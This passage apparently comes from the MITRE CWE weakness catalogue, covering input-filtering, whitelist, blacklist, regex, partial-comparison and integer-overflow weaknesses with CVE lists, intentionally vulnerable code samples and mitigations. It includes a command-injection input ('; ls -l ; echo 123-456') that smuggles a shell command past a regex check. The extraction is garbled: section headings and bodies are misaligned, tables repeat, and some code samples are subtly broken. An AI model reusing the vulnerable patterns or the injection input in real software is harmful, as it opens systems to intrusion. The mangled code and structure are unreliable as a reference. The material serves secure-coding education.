<b>CVE-2002-0433</b>	Product allows remote attackers to view restricted files via an HTTP request containing a "*" (wildcard or asterisk) character. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0433">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0433</a>
<b>CVE-2003-0332</b>	Product modifies the first two letters of a filename extension after performing a security check, which allows remote attackers to bypass authentication via a filename with a .ats extension instead of a .hts extension. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0332">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0332</a>
<b>CVE-2002-0802</b>	Database consumes an extra character when processing a character that cannot be converted, which could remove an escape character from the query and make the application subject to SQL injection attacks. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0802">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0802</a>

*(bad)*

```
function createDir($userName,$dirName){$userDir = '/users/'. $userName;if(strpos($dirName,'..') !== false){echo 'Directory name contains invalid sequence';return;} //filter out '~' because other scripts identify user directories by this prefix $dirName = str_replace('~','$dirName');$newDir = $userDir . $dirName;mkdir($newDir, 0700);chown($newDir,$userName);}
```

While the script attempts to screen for '..' sequences, an attacker can submit a directory path including "~.", which will then become ".." after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.

## Observed Examples

Reference	Description
<b>CVE-2002-0934</b>	Directory traversal vulnerability allows remote attackers to read or modify arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934</a>
<b>CVE-2003-0282</b>	Directory traversal vulnerability allows attackers to overwrite arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0282">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0282</a>

## Functional Areas

- Protection Mechanism

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1562
MemberOf		992	SFP Secondary Cluster: Faulty Input Transformation	888	1643

## Notes

### Research Gap

This category is probably under-studied.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Validate-Before-Filter
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input

*Strategy = Input Validation*

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Canonicalize the name to match that of the file system's representation of the name. This can sometimes be achieved with an available API (e.g. in Win32 the GetFullPathName function).

#### Observed Examples

Reference	Description
<b>CVE-2004-0815</b>	"./././" in pathname collapses to absolute path. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0815">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0815</a>
<b>CVE-2005-3123</b>	"./././././././" is collapsed into "././" after "." and "/" sequences are removed. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3123">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3123</a>
<b>CVE-2002-0325</b>	"..././" collapsed to "..." due to removal of "/" in web server. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0325">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0325</a>
<b>CVE-2002-0784</b>	chain: HTTP server protects against "." but allows "." variants such as "////./././". If the server removes "/" sequences, the result would collapse into an unsafe value "////./" (CWE-182). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0784">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0784</a>
<b>CVE-2005-2169</b>	MFV. Regular expression intended to protect against directory traversal reduces "..././" to "./". <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2169">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2169</a>
<b>CVE-2001-1157</b>	XSS protection mechanism strips a <script> sequence that is nested in another <script> sequence. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1157">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1157</a>

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1562
MemberOf	C	845	CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)	844	1589
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1643

## Notes

### Relationship

Overlaps regular expressions, although an implementation might not necessarily use regexp's.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Collapse of Data into Unsafe Value
CERT Java Secure Coding	IDS11-J		Eliminate noncharacter code points before validation

## CWE-183: Permissive Whitelist

<b>Weakness ID</b> : 183	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

An application uses a "whitelist" of acceptable values, but the whitelist includes at least one unsafe value, leading to resultant weaknesses.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	697	Incorrect Comparison	1266
ChildOf	C	693	Protection Mechanism Failure	1259
ParentOf	V	942	Overly Permissive Cross-domain Whitelist	1509
PeerOf	B	625	Permissive Regular Expression	1157
PeerOf	B	627	Dynamic Variable Evaluation	1161
CanPrecede	B	434	Unrestricted Upload of File with Dangerous Type	881

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	171	Cleansing, Canonicalization, and Comparison Errors	1536

## Weakness Ordinalities

**Primary** :

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

Nature	Type	ID	Name	Page
ChildOf	B	1023	Incomplete Comparison with Missing Factors	1523
ChildOf	C	693	Protection Mechanism Failure	1259
PeerOf	V	86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages	176
PeerOf	B	625	Permissive Regular Expression	1157
CanPrecede	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	141
CanPrecede	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	151
CanPrecede	B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	216
CanPrecede	B	434	Unrestricted Upload of File with Dangerous Type	881

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	C	693	Protection Mechanism Failure	1259

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	171	Cleansing, Canonicalization, and Comparison Errors	1536

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

## Detection Methods

### Black Box

Exploitation of incomplete blacklist weaknesses using the obvious manipulations might fail, but minor variations might succeed.

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Combine use of blacklist with appropriate use of whitelists.

### Phase: Implementation

*Strategy = Input Validation*

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

## Demonstrative Examples

### Example 1:

The following code attempts to stop XSS attacks by removing all occurrences of "script" in an input string.

Example Language: Java

(bad)

```
public String removeScriptTags(String input, String mask) {return input.replaceAll("script", mask);}
```

Because the code only checks for the lower-case "script" string, it can be easily defeated with upper-case script tags.

### Observed Examples

Reference	Description
<b>CVE-2005-2782</b>	PHP remote file inclusion in web application that filters "http" and "https" URLs, but not "ftp". <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2782">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2782</a>
<b>CVE-2004-0542</b>	Programming language does not filter certain shell metacharacters in Windows environment. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0542">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0542</a>
<b>CVE-2004-0595</b>	XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. MIE and validate-before-cleanse. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0595">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0595</a>
<b>CVE-2005-3287</b>	Web-based mail product doesn't restrict dangerous extensions such as ASPX on a web server, even though others are prohibited. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3287">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3287</a>
<b>CVE-2004-2351</b>	Resultant XSS from incomplete blacklist (only <script> and <style> are checked). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2351">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2351</a>
<b>CVE-2005-2959</b>	Privileged program does not clear sensitive environment variables that are used by bash. Overlaps multiple interpretation error. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2959">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2959</a>
<b>CVE-2005-1824</b>	SQL injection protection scheme does not quote the "\" special character. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1824">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1824</a>
<b>CVE-2005-2184</b>	Incomplete blacklist prevents user from automatically executing .EXE files, but allows .LNK, allowing resultant Windows symbolic link. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2184">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2184</a>
<b>CVE-2007-1343</b>	product doesn't protect one dangerous variable against external modification <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1343">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1343</a>
<b>CVE-2007-5727</b>	Chain: incomplete blacklist (CWE-184) only removes SCRIPT tags, enabling XSS (CWE-79) <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5727">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5727</a>
<b>CVE-2006-4308</b>	Chain: incomplete blacklist (CWE-184) only checks "javascript:" tag, allowing XSS (CWE-79) using other tags <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4308">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4308</a>
<b>CVE-2007-3572</b>	Chain: incomplete blacklist for OS command injection <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3572">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3572</a>
<b>CVE-2002-0661</b>	"\" not in blacklist for web server, allowing path traversal attacks when the server is run in Windows and other OSes. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0661">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0661</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1640

### Notes

#### Relationship

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		697	Incorrect Comparison	1266
ParentOf		186	Overly Restrictive Regular Expression	420
ParentOf		625	Permissive Regular Expression	1157
CanPrecede		182	Collapse of Data into Unsafe Value	411
CanPrecede		187	Partial String Comparison	421

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		171	Cleansing, Canonicalization, and Comparison Errors	1536
ParentOf		186	Overly Restrictive Regular Expression	420
ParentOf		625	Permissive Regular Expression	1157

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Unexpected State Varies by Context  <i>When the regular expression is not correctly specified, data might have a different format or type than the rest of the program expects, producing resultant weaknesses or errors.</i>	
Access Control	Bypass Protection Mechanism  <i>In PHP, regular expression checks can sometimes be bypassed with a null byte, leading to any number of weaknesses.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Refactoring*

Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject the regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor the regular expression.

### Demonstrative Examples

#### Example 1:

The following code takes phone numbers as input, and uses a regular expression to reject invalid phone numbers.

Example Language: Perl

(bad)

```
$phone = GetPhoneNumber();if ($phone =~ /\d+-\d+/) { # looks like it only has hyphens and digits system("lookup-phone $phone");}else {error("malformed number!");}
```

An attacker could provide an argument such as "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.

### Observed Examples

Reference	Description
<b>CVE-2002-2109</b>	Regex isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2109">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2109</a>
<b>CVE-2005-1949</b>	Regex for IP address isn't anchored at the end, allowing appending of shell metacharacters. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1949">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1949</a>
<b>CVE-2001-1072</b>	Bypass access restrictions via multiple leading slash, which causes a regular expression to fail. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1072">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1072</a>
<b>CVE-2000-0115</b>	Local user DoS via invalid regular expressions. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0115">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0115</a>
<b>CVE-2002-1527</b>	chain: Malformed input generates a regular expression error that leads to information exposure. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1527">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1527</a>
<b>CVE-2005-1061</b>	Certain strings are later used in a regexp, leading to a resultant crash. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1061">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1061</a>
<b>CVE-2005-2169</b>	MFV. Regular expression intended to protect against directory traversal reduces ".../.../" to "../". <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2169">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2169</a>
<b>CVE-2005-0603</b>	Malformed regexp syntax leads to information exposure in error message. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0603">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0603</a>
<b>CVE-2005-1820</b>	Code injection due to improper quoting of regular expression. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1820">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1820</a>
<b>CVE-2005-3153</b>	Null byte bypasses PHP regexp check. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3153">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3153</a>
<b>CVE-2005-4155</b>	Null byte bypasses PHP regexp check. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4155">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4155</a>

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input type="checkbox"/>	Page
MemberOf	<input checked="" type="checkbox"/>	19	Data Processing Errors	<input type="checkbox"/>	1003 1533
MemberOf	<input type="checkbox"/>	884	CWE Cross-section	<input type="checkbox"/>	884 1681
MemberOf	<input checked="" type="checkbox"/>	990	SFP Secondary Cluster: Tainted Input to Command	<input type="checkbox"/>	888 1640

### Notes

#### Relationship

While there is some overlap with whitelist/blacklist problems, this entry is intended to deal with incorrectly written regular expressions, regardless of their intended use. Not every regular expression is intended for use as a whitelist or blacklist. In addition, whitelists and blacklists can be implemented using other mechanisms besides regular expressions.

#### Research Gap

Regexp errors are likely a primary factor in many MFVs, especially those that require multiple manipulations to exploit. However, they are rarely diagnosed at this level of detail.

## CWE-186: Overly Restrictive Regular Expression

**Weakness ID** : 186

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

A regular expression is overly restrictive, which prevents dangerous values from being detected.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		185	Incorrect Regular Expression	417
CanAlsoBe		183	Permissive Whitelist	413
CanAlsoBe		184	Incomplete Blacklist	414

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		185	Incorrect Regular Expression	417

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

**Phase**: Implementation

Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject your regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor your regular expression.

### Observed Examples

Reference	Description
<b>CVE-2005-1604</b>	MIE. ".php.ns" bypasses ".php\$" regexp but is still parsed as PHP by Apache. (manipulates an equivalence property under Apache) <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1604">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1604</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	888	1640

### Notes

#### Relationship

Can overlap whitelist/blacklist errors.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Overly Restrictive Regular Expression

## CWE-187: Partial String Comparison

<b>Weakness ID</b> : 187	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.

### Extended Description

For example, an attacker might succeed in authentication by providing a small password that matches the associated portion of the larger, correct password.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>B</b>	1023	Incomplete Comparison with Missing Factors	1523
ParentOf	<b>B</b>	839	Numeric Range Comparison Without Minimum Check	1448
PeerOf	<b>B</b>	625	Permissive Regular Expression	1157
CanFollow	<b>C</b>	185	Incorrect Regular Expression	417

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	171	Cleansing, Canonicalization, and Comparison Errors	1536

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic	
Access Control	Bypass Protection Mechanism	

## Potential Mitigations

### Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

## Demonstrative Examples

### Example 1:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

*Example Language: C*

*(bad)*

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";char *pass = "password"; int AuthenticateUser(char *inUser, char *inPass) {if (strcmp(username,
inUser, strlen(inUser))) {logEvent("Auth failure of username using strlen of inUser");return(AUTH_FAIL);}if (! strcmp(pass,
inPass, strlen(inPass))) {logEvent("Auth success of password using strlen of inUser");return(AUTH_SUCCESS);}else
{logEvent("Auth fail of password using sizeof");return(AUTH_FAIL);} } int main (int argc, char **argv) { int authResult; if (argc
< 3) {ExitError("Usage: Provide a username and password");}authResult = AuthenticateUser(argv[1], argv[2]);if (authResult
== AUTH_SUCCESS) {DoAuthenticatedTask(argv[1]);}else {ExitError("Authentication failed");} }
```

In AuthenticateUser(), the strcmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

*Example Language:*

*(attack)*

*ppapaspass*

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

## Observed Examples

Reference	Description
<b>CVE-2014-6394</b>	Product does not prevent access to restricted directories due to partial string comparison with a public directory <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6394">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6394</a>
<b>CVE-2004-1012</b>	Argument parser of an IMAP server treats a partial command "body[p]" as if it is "body.peek", leading to index error and out-of-bounds corruption. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1012">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1012</a>
<b>CVE-2004-0765</b>	Web browser only checks the hostname portion of a certificate when the hostname portion of the URI is not a fully qualified domain name (FQDN), which allows remote attackers to spoof trusted certificates. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0765">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0765</a>
<b>CVE-2002-1374</b>	One-character password by attacker checks only against first character of real password. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1374">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1374</a>
<b>CVE-2000-0979</b>	One-character password by attacker checks only against first character of real password. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0979">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0979</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## CWE-188: Reliance on Data/Memory Layout

<b>Weakness ID</b> : 188	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The software makes invalid assumptions about how protocol data or memory is organized at a lower level, resulting in unintended program behavior.

## Extended Description

When changing platforms or protocol versions, data may move in unintended ways. For example, some architectures may place local variables A and B right next to each other with A on top; some may place them next to each other with B on top; and others may add some padding to each. The padding size may vary to ensure that each variable is aligned to a proper word size. In protocol implementations, it is common to calculate an offset relative to another field to pick out a specific piece of data. Exceptional conditions, often involving new protocol versions, may add corner cases

that change the data layout in an unusual way. The result can be that an implementation accesses an unintended field in the packet, treating data of one type as data of another type.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		435	Improper Interaction Between Multiple Correctly-Behaving Entities	888
ChildOf		758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1306
ParentOf		198	Use of Incorrect Byte Ordering	450

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Representation Errors	1535

## Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

## Likelihood Of Exploit

Low

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Confidentiality	Read Memory	
	<i>Can result in unintended modifications or exposure of sensitive memory.</i>	

## Potential Mitigations

**Phase: Implementation**

**Phase: Architecture and Design**

In flat address space situations, never allow computing memory addresses as offsets from another memory address.

**Phase: Architecture and Design**

Fully specify protocol layout unambiguously, providing a structured grammar (e.g., a compilable yacc grammar).

**Phase: Testing**

Testing: Test that the implementation properly handles each case in the protocol grammar.

## Demonstrative Examples

**Example 1:**

In this example function, the memory address of variable b is derived by adding 1 to the address of variable a. This derived address is then used to assign the value 0 to b.

Example Language: C

(bad)

```
void example() {char a;char b;*(&a + 1) = 0;}
```

Here, b may not be one byte past a. It may be one byte in front of a. Or, they may have three bytes between them because they are aligned on 32-bit boundaries.

## CWE-190: Integer Overflow or Wraparound

<b>Weakness ID</b> : 190	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control.

### Extended Description

An integer overflow or wraparound occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may wrap to become a very small or negative number. While this may be intended behavior in circumstances that rely on wrapping, it can have security consequences if the wrap is unexpected. This is especially the case if the integer overflow can be triggered using user-supplied inputs. This becomes security-critical when the result is used to control looping, make a security decision, or determine the offset or size in behaviors such as memory allocation, copying, concatenation, etc.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Instability  <i>This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.</i>	
Integrity	Modify Memory  <i>If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.</i>	
Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism  <i>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</i>	

### Detection Methods

#### Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

*Effectiveness = High*

#### Black Box

Sometimes, evidence of this weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

*Effectiveness = Moderate*

*Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.*

### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

